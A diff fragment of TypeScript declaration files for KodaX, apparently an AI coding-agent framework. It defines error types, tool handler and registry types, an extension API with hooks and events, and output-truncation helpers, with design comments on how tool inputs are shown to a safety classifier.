+ open(events: McpTransportEvents): Promise<void>;
426
+ /** Send a JSON string. The transport handles framing. */
427
+ send(json: string): Promise<void>;
428
+ close(): Promise<void>;
429
+ readonly connected: boolean;
430
+ }
431
+ type StdioFraming = 'content-length' | 'ndjson';
432
+ interface McpTransportOptions {
433
+ stdioFraming?: StdioFraming;
434
+ }
435
+ declare function createMcpTransport(config: McpServerConfig, options?: McpTransportOptions): McpTransport;
436
+
437
+ /**
438
+ * KodaX Core Errors
439
+ *
440
+ * 错误类型体系 - 提供结构化的错误处理
441
+ */
442
+ /** 基础 KodaX 错误类 */
443
+ declare class KodaXError extends Error {
444
+ readonly code: string;
445
+ constructor(message: string, code?: string);
446
+ }
447
+ /** 工具执行错误 */
448
+ declare class KodaXToolError extends KodaXError {
449
+ readonly toolName: string;
450
+ readonly toolId?: string | undefined;
451
+ constructor(message: string, toolName: string, toolId?: string | undefined);
452
+ }
453
+ /** 会话错误 */
454
+ declare class KodaXSessionError extends KodaXError {
455
+ readonly sessionId?: string | undefined;
456
+ constructor(message: string, sessionId?: string | undefined);
457
+ }
458
+ /** 终端不支持错误 */
459
+ declare class KodaXTerminalError extends KodaXError {
460
+ /** 建议的替代命令 */
461
+ readonly suggestions: string[];
462
+ constructor(message: string, suggestions?: string[]);
463
+ }
464
+
465
+ /**
466
+ * KodaX Error Classification
467
+ *
468
+ * 错误分类系统 - 决定适当的恢复策略
469
+ */
470
+ declare enum ErrorCategory {
471
+ TRANSIENT = 0,// 临时错误,可重试(速率限制、超时、网络错误)
472
+ PERMANENT = 1,// 永久错误,不可重试(认证失败、无效请求)
473
+ TOOL_CALL_ID = 2,// 特定的 tool_call_id 不匹配错误
474
+ USER_ABORT = 3
475
+ }
476
+ interface ErrorClassification {
477
+ category: ErrorCategory;
478
+ retryable: boolean;
479
+ maxRetries: number;
480
+ retryDelay: number;
481
+ shouldCleanup: boolean;
482
+ }
483
+ /**
484
+ * 分类错误以确定适当的恢复策略
485
+ */
486
+ declare function classifyError(error: Error): ErrorClassification;
487
+
488
+ /**
489
+ * KodaX Core Constants
490
+ */
491
+
492
+ /** Prefix used to detect user-cancelled tool results in the agent loop. */
493
+ declare const CANCELLED_TOOL_RESULT_PREFIX = "[Cancelled]";
494
+ /** Standard cancellation message returned when a tool is cancelled by the user. */
495
+ declare const CANCELLED_TOOL_RESULT_MESSAGE = "[Cancelled] Operation cancelled by user";
496
+
497
+ /**
498
+ * KodaX Tool Types
499
+ */
500
+
501
+ /**
502
+ * Progress yield from a streaming (async generator) tool.
503
+ * Each yield appears as a real-time status update in the REPL transcript.
504
+ */
505
+ interface ToolProgress {
506
+ readonly stage: string;
507
+ readonly message: string;
508
+ }
509
+ /** Standard tool handler — returns a single result string. */
510
+ type ToolHandlerSync = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => Promise<string>;
511
+ /** Streaming tool handler — yields progress updates, returns final result string. */
512
+ type ToolHandlerStreaming = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => AsyncGenerator<ToolProgress, string, void>;
513
+ /** Union of both handler types. Existing tools use ToolHandlerSync; new long-running tools may use ToolHandlerStreaming. */
514
+ type ToolHandler = ToolHandlerSync | ToolHandlerStreaming;
515
+ /**
516
+ * FEATURE_149 (v0.7.38) — interrupt-on-submit policy for in-flight tools.
517
+ *
518
+ * Controls whether submitting a new prompt while THIS tool is mid-execution
519
+ * triggers a fast-abort of the current agent round (so the new prompt starts
520
+ * immediately) or queues the prompt to run after the tool resolves.
521
+ *
522
+ * - `'cancel'` — long-running tools whose work the user is likely to want
523
+ * to abandon when they redirect (e.g., `bash` running a 30s script,
524
+ * `dispatch_child_task` synchronously awaiting a child, sleep-style
525
+ * tools). InkREPL submit handler aborts the round immediately.
526
+ *
527
+ * - `'wait'` (default) — atomic / fast tools (read, grep, glob, write,
528
+ * edit, …) where waiting for completion is cheaper than aborting and
529
+ * redoing.
530
+ *
531
+ * Mirrors Claude Code `interruptBehavior` (`utils/handlePromptSubmit.ts`).
532
+ */
533
+ type ToolInterruptBehavior = 'cancel' | 'wait';
534
+ interface LocalToolDefinition extends KodaXToolDefinition {
535
+ handler: ToolHandler;
536
+ /**
537
+ * FEATURE_149 (v0.7.38) — submit-time interrupt policy. See
538
+ * {@link ToolInterruptBehavior}. Default `'wait'` when undefined.
539
+ */
540
+ interruptBehavior?: ToolInterruptBehavior;
541
+ /**
542
+ * Classifier projection — REQUIRED (FEATURE_092 v0.7.33).
543
+ *
544
+ * Returns a one-line string that the auto-mode classifier sees as the
545
+ * `<action>` to evaluate. The classifier asks: "Given the user's
546
+ * intent + rules, should the agent be allowed to run this?"
547
+ *
548
+ * THREE-TIER STRATEGY (pick by tool's risk profile):
549
+ *
550
+ * 1. ZERO RISK (read-only, structural):
551
+ * → return '' (Tier 1 — classifier is skipped entirely, zero token cost)
552
+ * Examples: read, grep, glob, ask_user_question, exit_plan_mode
553
+ *
554
+ * 2. HIGH RISK (mutates state, network, exec, spawn):
555
+ * → write a CUSTOM projection that surfaces the risk-bearing fields
556
+ * Examples: bash (`Bash: ${i.command}`), web_fetch (`WebFetch ${i.url}`)
557
+ * See `classifier-projection.ts` for examples by category.
558
+ *
559
+ * 3. LOW RISK (structured input, side-effect-capable):
560
+ * → return defaultToClassifierInput(name, input) (one-line helper)
561
+ * Examples: semantic_lookup (refresh: true rebuilds index)
562
+ *
563
+ * KEEP IT SHORT: ≤ 100 chars typical. Variable-length user-provided fields
564
+ * (bash command, URL, dispatch_child_task objective) may legitimately
565
+ * exceed this — the projection's job is to make the risk visible, not to
566
+ * fit a fixed budget at the cost of hiding it.
567
+ *
568
+ * NEVER include: raw file contents, secrets, API keys, full LLM-emitted
569
+ * reasoning, or untrusted text passed through verbatim. Use byte/line
570
+ * counts as proxies (`Write ${path} (${content.length} bytes)`).
571
+ *
572
+ * See `docs/features/v0.7.33.md` "Tool 接口扩展" for design rationale.
573
+ */
574
+ toClassifierInput: (input: unknown) => string;
575
+ }
576
+ interface ToolDefinitionSource {
577
+ /**
578
+ * Origin of the registered tool. `'constructed'` (FEATURE_087, v0.7.28)
579
+ * marks tools materialized at runtime by `ConstructionRuntime` from
580
+ * `.kodax/constructed/tools/<name>/<version>.json` artifacts.
581
+ */
582
+ kind: 'builtin' | 'extension' | 'constructed';
583
+ id?: string;
584
+ label?: string;
585
+ /**
586
+ * Constructed-only: semver of the activated artifact. Used by
587
+ * `findByVersion()` and by `revoke()` to locate a specific stack entry.
588
+ */
589
+ version?: string;
590
+ /**
591
+ * Constructed-only: absolute path to the artifact JSON on disk.
592
+ * Lets revoke / inspect operations round-trip back to the source of
593
+ * truth without re-globbing.
594
+ */
595
+ manifestPath?: string;
596
+ }
597
+ interface RegisteredToolDefinition extends LocalToolDefinition {
598
+ registrationId: string;
599
+ requiredParams: string[];
600
+ source: ToolDefinitionSource;
601
+ }
602
+ interface ToolRegistrationOptions {
603
+ source?: ToolDefinitionSource;
604
+ }
605
+ type ToolRegistry = Map<string, RegisteredToolDefinition[]>;
606
+ type KodaXRetrievalToolName = 'web_search' | 'web_fetch' | 'code_search' | 'semantic_lookup' | 'mcp_search' | 'mcp_describe' | 'mcp_call' | 'mcp_read_resource' | 'mcp_get_prompt';
607
+ type KodaXRetrievalScope = 'workspace' | 'remote';
608
+ type KodaXRetrievalTrust = 'workspace' | 'provider' | 'open-world';
609
+ type KodaXRetrievalFreshness = 'fresh' | 'snapshot' | 'unknown';
610
+ interface KodaXRetrievalArtifact {
611
+ kind: 'url' | 'path' | 'symbol' | 'module' | 'process' | 'provider';
612
+ label: string;
613
+ value: string;
614
+ }
615
+ interface KodaXRetrievalItem {
616
+ title: string;
617
+ locator?: string;
618
+ snippet?: string;
619
+ score?: number;
620
+ metadata?: Record<string, unknown>;
621
+ }
622
+ interface KodaXRetrievalResult {
623
+ tool: KodaXRetrievalToolName;
624
+ query?: string;
625
+ scope: KodaXRetrievalScope;
626
+ trust: KodaXRetrievalTrust;
627
+ freshness: KodaXRetrievalFreshness;
628
+ provider?: string;
629
+ summary: string;
630
+ content?: string;
631
+ items: KodaXRetrievalItem[];
632
+ artifacts?: KodaXRetrievalArtifact[];
633
+ metadata?: Record<string, unknown>;
634
+ }
635
+
636
+ declare const KODAX_TOOLS: KodaXToolDefinition[];
637
+ declare function registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
638
+ declare function getTool(name: string): ToolHandler | undefined;
639
+ declare function getToolDefinition(name: string): KodaXToolDefinition | undefined;
640
+ declare function getRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
641
+ declare function getToolRegistrations(name: string): RegisteredToolDefinition[];
642
+ declare function getBuiltinToolDefinition(name: string): KodaXToolDefinition | undefined;
643
+ declare function getBuiltinRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
644
+ declare function createBuiltinToolDefinition(name: string): LocalToolDefinition | undefined;
645
+ declare function listBuiltinToolDefinitions(): RegisteredToolDefinition[];
646
+ declare function getRequiredToolParams(name: string): string[];
647
+ declare function listTools(): string[];
648
+ declare function listToolDefinitions(): KodaXToolDefinition[];
649
+ declare function executeTool(name: string, input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
650
+
651
+ declare function toolRead(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
652
+
653
+ declare function toolWrite(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
654
+
655
+ type EditToolErrorCode = 'EDIT_NOT_FOUND' | 'EDIT_AMBIGUOUS' | 'EDIT_TOO_LARGE';
656
+ interface EditRecoveryDiagnostic {
657
+ code: EditToolErrorCode;
658
+ filePath: string;
659
+ candidates: Array<{
660
+ startLine: number;
661
+ endLine: number;
662
+ preview: string;
663
+ excerpt: string;
664
+ }>;
665
+ }
666
+ declare function toolEdit(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
667
+ declare function parseEditToolError(result: string): EditToolErrorCode | undefined;
668
+ declare function inspectEditFailure(pathValue: string, oldString: string, ctx: KodaXToolExecutionContext, windowLines: number): Promise<EditRecoveryDiagnostic>;
669
+
670
+ declare function toolInsertAfterAnchor(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
671
+
672
+ declare function toolBash(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
673
+
674
+ /**
675
+ * KodaX Glob Tool
676
+ *
677
+ * 文件搜索工具
678
+ */
679
+
680
+ declare function toolGlob(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
681
+
682
+ declare function toolGrep(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
683
+
684
+ /**
685
+ * KodaX Undo Tool
686
+ *
687
+ * 撤销工具 - 恢复最后一次文件修改
688
+ */
689
+
690
+ declare function toolUndo(_input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
691
+
692
+ /**
693
+ * KodaX AskUserQuestion Tool
694
+ *
695
+ * 交互式提问工具 - 允许 LLM 在需要时主动向用户提问
696
+ * Supports: single-select, multi-select, free-text input, and multi-question modes.
697
+ */
698
+
699
+ /**
700
+ * Ask user a question with multiple interaction modes.
701
+ *
702
+ * This tool requires context.askUser (select) or context.askUserInput (input)
703
+ * callback to be provided by the REPL layer.
704
+ */
705
+ declare function toolAskUserQuestion(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
706
+
707
+ declare function toolRepoOverview(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
708
+
709
+ declare function toolChangedScope(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
710
+
711
+ declare function toolChangedDiff(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
712
+
713
+ declare function toolModuleContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
714
+
715
+ declare function toolSymbolContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
716
+
717
+ declare function toolProcessContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
718
+
719
+ declare function toolImpactEstimate(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
720
+
721
+ declare function toolWebSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
722
+
723
+ declare function toolWebFetch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
724
+
725
+ declare function toolCodeSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
726
+
727
+ declare function toolSemanticLookup(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
728
+
729
+ interface ExecOptions {
730
+ /** Extra environment variables to inject (merged with safe base env). */
731
+ readonly env?: Readonly<Record<string, string>>;
732
+ /** Working directory. Defaults to process.cwd(). */
733
+ readonly cwd?: string;
734
+ /** Timeout in milliseconds. Defaults to 30000. */
735
+ readonly timeout?: number;
736
+ /** Shell to use. Defaults to 'bash' on Unix, 'powershell' on Windows. */
737
+ readonly shell?: 'bash' | 'powershell';
738
+ }
739
+ interface ExecResult {
740
+ readonly exitCode: number;
741
+ readonly stdout: string;
742
+ readonly stderr: string;
743
+ }
744
+ /**
745
+ * Run a shell command with a sandboxed environment.
746
+ *
747
+ * SECURITY: Only a whitelist of safe environment variables is passed to the
748
+ * subprocess. API keys and tokens from the parent environment are NOT inherited.
749
+ */
750
+ declare function exec(command: string, options?: ExecOptions): Promise<ExecResult>;
751
+ interface WebhookOptions {
752
+ /** HTTP method. Defaults to 'POST'. */
753
+ readonly method?: 'POST' | 'PUT';
754
+ /** Extra HTTP headers. */
755
+ readonly headers?: Readonly<Record<string, string>>;
756
+ /** Timeout in milliseconds. Defaults to 10000. */
757
+ readonly timeout?: number;
758
+ }
759
+ interface WebhookResult {
760
+ readonly ok: boolean;
761
+ readonly status: number;
762
+ readonly body?: string;
763
+ }
764
+ /**
765
+ * Send an HTTP webhook with timeout support.
766
+ * Returns a result object instead of throwing on errors.
767
+ */
768
+ declare function webhook(url: string, payload: unknown, options?: WebhookOptions): Promise<WebhookResult>;
769
+
770
+ interface ModelProviderRegistration {
771
+ name: string;
772
+ factory: () => KodaXBaseProvider;
773
+ }
774
+ interface ExtensionCommandDefinition {
775
+ name: string;
776
+ aliases?: string[];
777
+ description: string;
778
+ usage?: string;
779
+ metadata?: Record<string, unknown>;
780
+ handler: (args: string[], context: ExtensionCommandContext) => Promise<ExtensionCommandResult | void> | ExtensionCommandResult | void;
781
+ }
782
+ interface ExtensionModelSelection {
783
+ provider?: string;
784
+ model?: string;
785
+ }
786
+ interface ExtensionLogger {
787
+ debug: (...args: unknown[]) => void;
788
+ info: (...args: unknown[]) => void;
789
+ warn: (...args: unknown[]) => void;
790
+ error: (...args: unknown[]) => void;
791
+ }
792
+ interface ExtensionFileContributionSource {
793
+ kind: 'extension';
794
+ id: string;
795
+ label: string;
796
+ path: string;
797
+ }
798
+ interface RuntimeContributionSource {
799
+ kind: 'runtime';
800
+ id: string;
801
+ label: string;
802
+ path?: string;
803
+ }
804
+ type ExtensionContributionSource = ExtensionFileContributionSource | RuntimeContributionSource;
805
+ type ExtensionLoadSource = 'api' | 'cli' | 'config';
806
+ interface LoadedExtensionDiagnostic {
807
+ path: string;
808
+ label: string;
809
+ loadSource: ExtensionLoadSource;
810
+ sessionStateKeys?: string[];
811
+ sessionRecordCounts?: Record<string, number>;
812
+ }
813
+ interface RegisteredCapabilityProviderDiagnostic {
814
+ id: string;
815
+ kinds: CapabilityKind[];
816
+ source: ExtensionContributionSource;
817
+ metadata?: Record<string, unknown>;
818
+ }
819
+ interface RegisteredCommandDiagnostic {
820
+ name: string;
821
+ aliases?: string[];
822
+ description: string;
823
+ usage?: string;
824
+ metadata?: Record<string, unknown>;
825
+ source: ExtensionContributionSource;
826
+ }
827
+ interface RegisteredToolDiagnostic {
828
+ name: string;
829
+ description: string;
830
+ requiredParams: string[];
831
+ source: RegisteredToolDefinition['source'];
832
+ shadowedSources: RegisteredToolDefinition['source'][];
833
+ }
834
+ interface RegisteredHookDiagnostic {
835
+ hook: keyof ExtensionHookMap;
836
+ order: number;
837
+ source: ExtensionContributionSource;
838
+ }
839
+ type ExtensionFailureStage = 'load' | 'reload' | 'event' | 'hook' | 'persistence';
840
+ interface ExtensionFailureDiagnostic {
841
+ stage: ExtensionFailureStage;
842
+ target: string;
843
+ message: string;
844
+ occurredAt: string;
845
+ source: ExtensionContributionSource;
846
+ }
847
+ interface ExtensionRuntimeDiagnostics {
848
+ loadedExtensions: LoadedExtensionDiagnostic[];
849
+ capabilityProviders: RegisteredCapabilityProviderDiagnostic[];
850
+ commands: RegisteredCommandDiagnostic[];
851
+ tools: RegisteredToolDiagnostic[];
852
+ hooks: RegisteredHookDiagnostic[];
853
+ failures: ExtensionFailureDiagnostic[];
854
+ defaults: {
855
+ activeTools?: string[];
856
+ modelSelection: ExtensionModelSelection;
857
+ thinkingLevel?: KodaXReasoningMode;
858
+ };
859
+ }
860
+ interface ExtensionCommandInvocation {
861
+ prompt: string;
862
+ displayName?: string;
863
+ disableModelInvocation?: boolean;
864
+ allowedTools?: string;
865
+ context?: 'fork';
866
+ model?: string;
867
+ }
868
+ interface ExtensionCommandResult {
869
+ success?: boolean;
870
+ message?: string;
871
+ data?: unknown;
872
+ invocation?: ExtensionCommandInvocation;
873
+ }
874
+ interface ExtensionCommandContext {
875
+ sessionId?: string;
876
+ gitRoot?: string;
877
+ workingDirectory: string;
878
+ reloadExtensions: () => Promise<void>;
879
+ getDiagnostics: () => ExtensionRuntimeDiagnostics;
880
+ logger: ExtensionLogger;
881
+ }
882
+ interface ExtensionToolBeforeHookContext {
883
+ name: string;
884
+ input: Record<string, unknown>;
885
+ toolId?: string;
886
+ executionCwd?: string;
887
+ gitRoot?: string;
888
+ }
889
+ interface ExtensionProviderBeforeHookContext {
890
+ provider: string;
891
+ model?: string;
892
+ reasoningMode?: KodaXReasoningMode;
893
+ systemPrompt: string;
894
+ block: (reason: string) => void;
895
+ replaceProvider: (provider: string) => void;
896
+ replaceModel: (model?: string) => void;
897
+ replaceSystemPrompt: (systemPrompt: string) => void;
898
+ setThinkingLevel: (level: KodaXReasoningMode) => void;
899
+ }
900
+ interface ExtensionTurnSettleHookContext {
901
+ sessionId: string;
902
+ lastText: string;
903
+ hadToolCalls: boolean;
904
+ success: boolean;
905
+ signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
906
+ queueUserMessage: (message: string | KodaXMessage) => void;
907
+ setModelSelection: (next: ExtensionModelSelection) => void;
908
+ setThinkingLevel: (level: KodaXReasoningMode) => void;
909
+ }
910
+ interface ExtensionSessionHydrateHookContext {
911
+ sessionId: string;
912
+ getState: <T = KodaXJsonValue>(key: string) => T | undefined;
913
+ setState: (key: string, value: KodaXJsonValue | undefined) => void;
914
+ listRecords: (type?: string) => KodaXExtensionSessionRecord[];
915
+ appendRecord: (type: string, data?: KodaXJsonValue, options?: {
916
+ dedupeKey?: string;
917
+ }) => KodaXExtensionSessionRecord | undefined;
918
+ clearRecords: (type?: string) => number;
919
+ }
920
+ interface ExtensionEventMap {
921
+ 'session:start': {
922
+ provider: string;
923
+ sessionId: string;
924
+ };
925
+ 'turn:start': {
926
+ sessionId: string;
927
+ iteration: number;
928
+ maxIter: number;
929
+ };
930
+ 'text:delta': {
931
+ text: string;
932
+ };
933
+ 'thinking:delta': {
934
+ text: string;
935
+ };
936
+ 'thinking:end': {
937
+ thinking: string;
938
+ };
939
+ 'tool:start': {
940
+ name: string;
941
+ id: string;
942
+ input?: Record<string, unknown>;
943
+ };
944
+ 'tool:result': {
945
+ id: string;
946
+ name: string;
947
+ content: string;
948
+ };
949
+ 'provider:selected': {
950
+ provider: string;
951
+ model?: string;
952
+ };
953
+ 'provider:rate-limit': {
954
+ provider: string;
955
+ attempt: number;
956
+ maxRetries: number;
957
+ delayMs: number;
958
+ };
959
+ 'capability:search': {
960
+ providerId: string;
961
+ query: string;
962
+ kind?: CapabilityKind;
963
+ limit?: number;
964
+ };
965
+ 'capability:describe': {
966
+ providerId: string;
967
+ capabilityId: string;
968
+ };
969
+ 'capability:invoke': {
970
+ providerId: string;
971
+ capabilityId: string;
972
+ kind: CapabilityKind;
973
+ };
974
+ 'capability:refresh': {
975
+ providerId: string;
976
+ };
977
+ 'stream:end': undefined;
978
+ 'turn:end': {
979
+ sessionId: string;
980
+ iteration: number;
981
+ lastText: string;
982
+ hadToolCalls: boolean;
983
+ signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
984
+ };
985
+ 'complete': {
986
+ success: boolean;
987
+ signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
988
+ };
989
+ 'error': {
990
+ error: Error;
991
+ };
992
+ 'todo:created': {
993
+ id: string;
994
+ item: KodaXTodoItem;
995
+ source: TodoMutationSource;
996
+ };
997
+ 'todo:updated': {
998
+ id: string;
999
+ before: KodaXTodoItem;
1000
+ after: KodaXTodoItem;
1001
+ changedFields: readonly (keyof KodaXTodoItem)[];
1002
+ source: TodoMutationSource;
1003
+ };
1004
+ 'todo:deleted': {
1005
+ id: string;
1006
+ item: KodaXTodoItem;
1007
+ source: TodoMutationSource;
1008
+ };
1009
+ }
1010
+ /**
1011
+ * FEATURE_170 v0.7.41 — provenance tag for todo:* events / hooks. Lets
1012
+ * extension authors distinguish LLM-driven mutations (`tool`) from
1013
+ * runner-side automation (`internal`) — e.g. an extension that audits
1014
+ * todo churn should ignore `internal` flips to avoid false positives.
1015
+ */
1016
+ type TodoMutationSource = 'tool' | 'internal';
1017
+ /**
1018
+ * FEATURE_170 v0.7.41 — seed shape passed to `'todo:before-create'`.
1019
+ * Mirrors `TodoAddSeed` from todo-store.ts (kept structurally compatible
1020
+ * to avoid coupling extension authors to the internal task-engine type).
1021
+ */
1022
+ interface ExtensionTodoCreateSeed {
1023
+ readonly content: string;
1024
+ readonly activeForm?: string;
1025
+ readonly evaluator?: 'build' | 'test' | 'lint';
1026
+ readonly owner?: string;
1027
+ readonly sourceObligationIndex?: number;
1028
+ readonly metadata?: Record<string, unknown>;
1029
+ }
1030
+ /**
1031
+ * FEATURE_170 v0.7.41 — minimal todo item shape exposed to extensions
1032
+ * via the todo:* events. Kept structurally identical to the engine's
1033
+ * `TodoItem` so the runtime can pass values straight through without
1034
+ * conversion, but redeclared here so extension consumers don't import
1035
+ * from `packages/coding/src/types.ts` (which is task-engine internal).
1036
+ *
1037
+ * Drift guard: a compile-time assignability assertion at the bottom of
1038
+ * this file fires if `TodoItem` (engine) gains a field that this
1039
+ * extension-facing shape does NOT mirror — see `__todoItemParity` below.
1040
+ */
1041
+ interface KodaXTodoItem {
1042
+ readonly id: string;
1043
+ readonly content: string;
1044
+ readonly status: 'pending' | 'in_progress' | 'completed' | 'failed' | 'skipped' | 'cancelled';
1045
+ readonly owner?: string;
1046
+ readonly sourceObligationIndex?: number;
1047
+ readonly note?: string;
1048
+ readonly evaluator?: 'build' | 'test' | 'lint';
1049
+ readonly activeForm?: string;
1050
+ readonly metadata?: Record<string, unknown>;
1051
+ }
1052
+ interface ExtensionHookMap {
1053
+ 'tool:before': (context: ExtensionToolBeforeHookContext) => Promise<void | string | false> | void | string | false;
1054
+ 'provider:before': (context: ExtensionProviderBeforeHookContext) => Promise<void> | void;
1055
+ 'turn:settle': (context: ExtensionTurnSettleHookContext) => Promise<void> | void;
1056
+ 'session:hydrate': (context: ExtensionSessionHydrateHookContext) => Promise<void> | void;
1057
+ 'todo:before-create': (context: {
1058
+ seed: ExtensionTodoCreateSeed;
1059
+ }) => Promise<void | string | false> | void | string | false;
1060
+ 'todo:before-complete': (context: {
1061
+ id: string;
1062
+ item: KodaXTodoItem;
1063
+ }) => Promise<void | string | false> | void | string | false;
1064
+ }
1065
+ interface ExtensionRuntimeController {
1066
+ queueUserMessage(message: string | KodaXMessage): void;
1067
+ getSessionState<T = KodaXJsonValue>(key: string): T | undefined;
1068
+ setSessionState(key: string, value: KodaXJsonValue | undefined): void;
1069
+ appendSessionRecord(type: string, data?: KodaXJsonValue, options?: {
1070
+ dedupeKey?: string;
1071
+ }): KodaXExtensionSessionRecord | undefined;
1072
+ listSessionRecords(type?: string): KodaXExtensionSessionRecord[];
1073
+ clearSessionRecords(type?: string): number;
1074
+ getActiveTools(): string[];
1075
+ setActiveTools(toolNames: string[]): void;
1076
+ getModelSelection(): ExtensionModelSelection;
1077
+ setModelSelection(next: ExtensionModelSelection): void;
1078
+ getThinkingLevel(): KodaXReasoningMode | undefined;
1079
+ setThinkingLevel(level: KodaXReasoningMode): void;
1080
+ }
1081
+ interface KodaXExtensionAPI {
1082
+ registerTool: (definition: LocalToolDefinition) => () => void;
1083
+ getTool: (name: string) => RegisteredToolDefinition | undefined;
1084
+ getBuiltinTool: (name: string) => RegisteredToolDefinition | undefined;
1085
+ registerModelProvider: (registration: ModelProviderRegistration) => () => void;
1086
+ registerCapabilityProvider: (provider: CapabilityProvider) => () => void;
1087
+ registerCommand: (command: ExtensionCommandDefinition) => () => void;
1088
+ registerSkillPath: (skillPath: string) => () => void;
1089
+ on: <TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void) => () => void;
1090
+ hook: <THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook]) => () => void;
1091
+ logger: ExtensionLogger;
1092
+ config: Readonly<Record<string, unknown>>;
1093
+ runtime: ExtensionRuntimeController;
1094
+ /** Extension-scoped key-value store that persists across sessions. */
1095
+ persistence: KodaXExtensionStore;
1096
+ /** Run a shell command with sandboxed environment (no API key leakage). */
1097
+ exec: (command: string, options?: ExecOptions) => Promise<ExecResult>;
1098
+ /** Send an HTTP webhook with timeout support. */
1099
+ webhook: (url: string, payload: unknown, options?: WebhookOptions) => Promise<WebhookResult>;
1100
+ }
1101
+ type KodaXExtensionActivationResult = void | (() => void | Promise<void>) | Promise<void | (() => void | Promise<void>)>;
1102
+ interface KodaXExtensionModule {
1103
+ default?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
1104
+ activate?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
1105
+ }
1106
+
1107
+ declare function stripHtmlToText(html: string): string;
1108
+ declare function extractHtmlTitle(html: string): string | undefined;
1109
+ declare function convertProviderSearchResults(results: unknown[], limit: number): KodaXRetrievalItem[];
1110
+ declare function convertCapabilityReadResult(tool: KodaXRetrievalToolName, providerId: string, capabilityId: string, result: CapabilityResult, summary: string): KodaXRetrievalResult;
1111
+ declare function renderRetrievalResult(result: KodaXRetrievalResult): string;
1112
+ declare function finalizeRetrievalResult(result: KodaXRetrievalResult, ctx: KodaXToolExecutionContext): Promise<string>;
1113
+
1114
+ declare const DEFAULT_TOOL_OUTPUT_MAX_LINES = 2000;
1115
+ declare const DEFAULT_TOOL_OUTPUT_MAX_BYTES: number;
1116
+ declare const READ_DEFAULT_LIMIT = 2000;
1117
+ declare const READ_PREFLIGHT_SIZE_BYTES: number;
1118
+ declare const READ_MAX_LINE_CHARS = 2000;
1119
+ interface TruncationOptions {
1120
+ maxLines?: number;
1121
+ maxBytes?: number;
1122
+ }
1123
+ interface TruncationResult {
1124
+ content: string;
1125
+ truncated: boolean;
1126
+ truncatedBy: 'lines' | 'bytes' | null;
1127
+ totalLines: number;
1128
+ totalBytes: number;
1129
+ outputLines: number;
1130
+ outputBytes: number;
1131
+ lastLinePartial: boolean;
1132
+ firstLineExceedsLimit: boolean;
1133
+ maxLines: number;
1134
+ maxBytes: number;
1135
+ }
1136
+ declare function formatSize(bytes: number): string;
1137
+ declare function truncateHead(content: string, options?: TruncationOptions): TruncationResult;
1138
+ declare function truncateTail(content: string, options?: TruncationOptions): TruncationResult;
1139
+ declare function truncateLine(line: string, maxChars?: number): {
1140
+ text: string;
1141
+ wasTruncated: boolean;
1142
+ };
1143
+ declare function persistToolOutput(toolName: string, content: string, ctx?: Pick<KodaXToolExecutionContext, 'gitRoot' | 'executionCwd'>): Promise<string>;
1144
+
1145
+ interface ToolResultPolicy {
1146
+ maxLines: number;
1147
+ maxBytes: number;
1148
+ direction: 'head' | 'tail';
1149
+ spillToFile: boolean;
1150
+ }
1151
+ interface GuardedToolResult {
1152
+ content: string;
1153
+ truncated: boolean;
1154
+ outputPath?: string;
1155
+ policy: ToolResultPolicy;
1156
+ /**
1157
+ * FEATURE_121 v0.7.40 — set when `persistToolOutput` threw and
1158
+ * `content` was returned inline as the data-loss-guard fallback.
1159
+ * Callers that need an LLM-summary follow-up (`dispatch-child-tasks`
1160
+ * for `child_task_summary`) branch on this flag. Undefined/false
1161
+ * means the normal success path ran.
1162
+ */
1163
+ spillFailed?: boolean;
1164
+ }
1165
+ declare function getToolResultPolicy(toolName: string): ToolResultPolicy;
1166
+ interface ApplyToolResultGuardrailOptions {
1167
+ /**
1168
+ * FEATURE_121 (v0.7.40): force the guardrail down the spill+preview path
1169
+ * regardless of `policy.maxBytes`. Used by envelope aggregate budget
1170
+ * enforcement to reclaim space when N child summaries individually fit
1171
+ * but together exceed the envelope cap.
1172
+ */
1173
+ forceSpill?: boolean;
1174
+ }
1175
+ declare function applyToolResultGuardrail(toolName: string, content: string, ctx: KodaXToolExecutionContext, options?: ApplyToolResultGuardrailOptions): Promise<GuardedToolResult>;
1176
+
1177
+ type RepoAreaKind = 'package' | 'directory' | 'docs' | 'tests' | 'scripts' | 'root';
1178
+ type ChangedFileStatus = 'modified' | 'added' | 'deleted' | 'renamed' | 'untracked';
1179
+ interface RepoAreaOverview {
1180
+ id: string;
1181
+ label: string;
1182
+ kind: RepoAreaKind;
1183
+ root: string;
1184
+ fileCount: number;
1185
